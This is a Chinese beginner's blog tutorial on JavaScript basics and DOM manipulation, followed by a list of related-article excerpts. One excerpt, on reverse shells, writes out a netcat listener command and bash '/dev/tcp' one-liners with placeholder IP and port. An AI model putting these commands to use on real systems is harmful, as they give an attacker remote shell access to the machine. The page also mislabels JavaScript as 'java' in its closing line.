网页的血液——javascript

news/2024/5/18 13:01:25 标签: javascript, udp, 开发语言

JavaScript 基础知识概述

1. JavaScript 介绍

JavaScript 是一种高级的、解释型的编程语言,它是一种基于对象的、事件驱动的语言,它允许开发者创建动态的网页。JavaScript 是一种脚本语言,它可以嵌入到 HTML 中,或者作为外部文件引入。JavaScript 是一种客户端脚本语言,它在浏览器中运行,用于控制网页的行为。

2. JavaScript 变量声明

在 JavaScript 中,变量用于存储数据值。JavaScript 中的变量是通过 varletconst 关键字声明的。

  • var 关键字用于声明一个变量,它的作用域是整个函数。
  • let 关键字用于声明一个块级作用域的变量。
  • const 关键字用于声明一个常量,它的值不能改变。
javascript">var name = "John"; // 使用 var 声明变量
let age = 30; // 使用 let 声明变量
const PI = 3.14; // 使用 const 声明常量

3. JavaScript 中的数据类型

JavaScript 中的数据类型主要有以下几种:

  • Number:用于表示数字,包括整数和浮点数。
  • String:用于表示文本。
  • Boolean:用于表示真(true)或假(false)。
  • Object:用于表示对象,可以包含属性和方法。
  • Null:表示空值或不存在的对象。
  • Undefined:表示未定义的变量。
  • Symbol:表示唯一的标识符。
javascript">let num = 10; // Number
let str = "Hello"; // String
let isTrue = true; // Boolean
let obj = {name: "John", age: 30}; // Object
let nothing = null; // Null
let notDefined; // Undefined
let sym = Symbol("id"); // Symbol

4. JavaScript 中的运算符

JavaScript 提供了多种运算符,包括算术运算符、比较运算符、逻辑运算符、赋值运算符等。

  • 算术运算符:用于执行数学运算,如 +-*/%
  • 比较运算符:用于比较两个值,如 ==!=><>=<=
  • 逻辑运算符:用于逻辑操作,如 &&(与)、||(或)、!(非)。
  • 赋值运算符:用于赋值,如 =+=-=*=/=
javascript">let x = 10;
let y = 20;

// 算术运算符
let sum = x + y; // 30
let diff = x - y; // -10

// 比较运算符
let isEqual = x == y; // false
let isGreater = x > y; // false

// 逻辑运算符
let isTrue = true && false; // false

// 赋值运算符
x += 5; // x 现在是 15

5. JavaScript 中的流程控制

JavaScript 提供了多种流程控制语句,包括 ifelseswitchforwhiledo...while

  • if…else:用于条件判断。
  • switch:用于多条件判断。
  • for:用于重复执行代码块。
  • while:用于当条件为真时重复执行代码块。
  • do…while:用于当条件为真时重复执行代码块,且至少执行一次。
javascript">// if...else
if (x > y) {
 console.log("x is greater than y");
} else {
 console.log("x is not greater than y");
}

// switch
switch (x) {
 case 10:
    console.log("x is 10");
    break;
 case 20:
    console.log("x is 20");
    break;
 default:
    console.log("x is not 10 or 20");
}

// for
for (let i = 0; i < 5; i++) {
 console.log(i);
}

// while
let i = 0;
while (i < 5) {
 console.log(i);
 i++;
}

// do...while
let j = 0;
do {
 console.log(j);
 j++;
} while (j < 5);

6. JavaScript 中的函数

函数是一段可以重复使用的代码,它可以接受输入参数,并返回一个值。JavaScript 中的函数可以通过 function 关键字声明。

javascript">function greet(name) {
 return "Hello, " + name;
}

console.log(greet("John")); // 输出 "Hello, John"

7. JavaScript 中的匿名函数

匿名函数是没有名称的函数,它们通常用作函数表达式或作为函数的参数。

javascript">// 函数表达式
let greet = function(name) {
 return "Hello, " + name;
};

console.log(greet("John")); // 输出 "Hello, John"

// 作为函数参数
setTimeout(function() {
 console.log("This message is displayed after 2 seconds");
}, 2000);

14. DOM 元素操作 HTML

DOM(Document Object Model)是一个编程接口,用于 HTML 和 XML 文档。它提供了一个结构化的文档表示,并定义了一种方式使程序能够访问和改变文档的内容、结构和样式。

获取元素

可以通过多种方式获取 DOM 元素:

  • 通过 ID:使用 document.getElementById() 方法。
  • 通过标签名:使用 document.getElementsByTagName() 方法。
  • 通过类名:使用 document.getElementsByClassName() 方法。
  • 通过选择器:使用 document.querySelector()document.querySelectorAll() 方法。
javascript">// 通过 ID 获取元素
var elementById = document.getElementById("myId");

// 通过标签名获取元素
var elementsByTagName = document.getElementsByTagName("p");

// 通过类名获取元素
var elementsByClassName = document.getElementsByClassName("myClass");

// 通过选择器获取元素
var elementBySelector = document.querySelector(".myClass");
var elementsBySelector = document.querySelectorAll(".myClass");

修改元素

可以通过 DOM 元素的属性和方法来修改元素的内容、属性和样式。

javascript">// 修改元素的文本内容
elementById.textContent = "New text content";

// 修改元素的 HTML 内容
elementById.innerHTML = "<b>New HTML content</b>";

// 修改元素的属性
elementById.setAttribute("class", "newClass");

// 修改元素的样式
elementById.style.color = "blue";

15. DOM 相关元素

DOM 提供了一系列的元素和对象,用于表示文档的结构和内容。

  • 节点(Node):文档中的所有内容都是节点,如元素、属性、文本等。
  • 元素(Element):文档中的 HTML 标签。
  • 属性(Attribute):元素的属性。
  • 文本(Text):元素或属性中的文本内容。
javascript">// 获取元素节点
var elementNode = document.getElementById("myId");

// 获取文本节点
var textNode = elementNode.firstChild;

// 获取属性节点
var attributeNode = elementNode.getAttributeNode("class");

16. DOM 的创建与删除

可以通过 DOM 方法来创建和删除元素。

创建元素

javascript">// 创建新的 div 元素
var newDiv = document.createElement("div");

// 设置新元素的文本内容
newDiv.textContent = "New div element";

// 将新元素添加到 body 中
document.body.appendChild(newDiv);

删除元素

javascript">// 获取要删除的元素
var elementToRemove = document.getElementById("elementToRemove");

// 删除元素
elementToRemove.parentNode.removeChild(elementToRemove);

通过以上介绍,我们可以看到 DOM 提供了一种结构化的方式来表示和操作 HTML 文档的内容、结构和样式。通过 DOM,开发者可以动态地创建、修改和删除文档的元素,从而实现复杂的网页交互和动态内容更新。

上面就是对java的介绍,内容较为全面,喜欢可以给个关注哦。
在这里插入图片描述


http://www.niftyadmin.cn/n/5465463.html

相关文章

小组分享内容

目录 1.网络爬虫的作用&#xff08;人话&#xff09;&#xff1a; 2.使用的工具 3.不使用程序进行网页信息的获取的操作步骤 4.如何使用程序来进行上述操作 1.打开浏览器 2.输入网址 3.发送请求 4.获取响应 5.判断响应是否成功 6.获取响应里需要的内容 7.记得最后关…

SpringBoot事务详解

注意&#xff1a; 使用事务时&#xff0c;一点要先查看当前数据库是否支持事务 Mysql中InnoDB支持事务&#xff0c;MyISAM不支持事务 Mysql版本高于5.5默认就是InnoDB 或使用SHOW TABLE STATUS查看 事务特点 原子性(Atomicity)&#xff1a;整个事务是一个整体&#xff0c;…

MATLAB科研绘图与学术图表绘制从入门到精通

&#x1f482; 个人网站:【 摸鱼游戏】【神级代码资源网站】【工具大全】&#x1f91f; 一站式轻松构建小程序、Web网站、移动应用&#xff1a;&#x1f449;注册地址&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交…

什么是智慧公厕?智慧旅游下的智慧公厕功能和特点

智慧旅游下的智慧公厕功能和特点&#xff1f;智慧旅游是景区、公园、游乐场、文化场馆等领域的一种信息化解决方案&#xff0c;智慧公厕是智慧旅游极为重要的一部分&#xff0c;能大大提升游客满意度。智慧公厕采用物联网、互联网、大数据、云计算等技术&#xff0c;实现旅游景…

Linux如何连接github仓库

一.创建一个github账号 如何创建一个github账号 二.在github上创建一个仓库 登录上github后出现这个界面 然后点击左上角头像&#xff0c;在按照图片位置点击&#xff1a; 继续按照图片上的位置进行点击&#xff1a; 创建成功&#xff1a; 三.云主机连接Github仓库 1.在linux中…

财务管理系统基石——维度,科目,辅助对象,业务分类【第七期】

前言 财务管理系统有其基本的业单元。整个系统又这些基石构成&#xff0c;那么具体是什么呢。先了解这么四种。维度&#xff0c;科目&#xff0c;辅助对象&#xff0c;业务分类 已经写了六期 【财务管理系统】业务向 &#xff0c;抵消是什么&#xff1f;冲销是什么&#xff1…

反弹shell

kali监听&#xff1a; nc -lvp port 客户机执行&#xff1a; bash -i >& /dev/tcp/ip/port 0>&1 bash -c "bash -i >& /dev/tcp/ip/port 0>&1" bash -c&#xff1a;告诉 Bash 执行 -c 后面跟随的命令字符串。bash -i&#xff1a;启动一…

多线程(26)BlockingQueue

BlockingQueue是Java并发包&#xff08;java.util.concurrent&#xff09;中的一个接口&#xff0c;它扩展了Queue接口。BlockingQueue支持两个附加操作&#xff1a;等待队列变为非空时取元素&#xff0c;和等待空间变得可用时存储元素。这使得BlockingQueue非常适合用作生产者…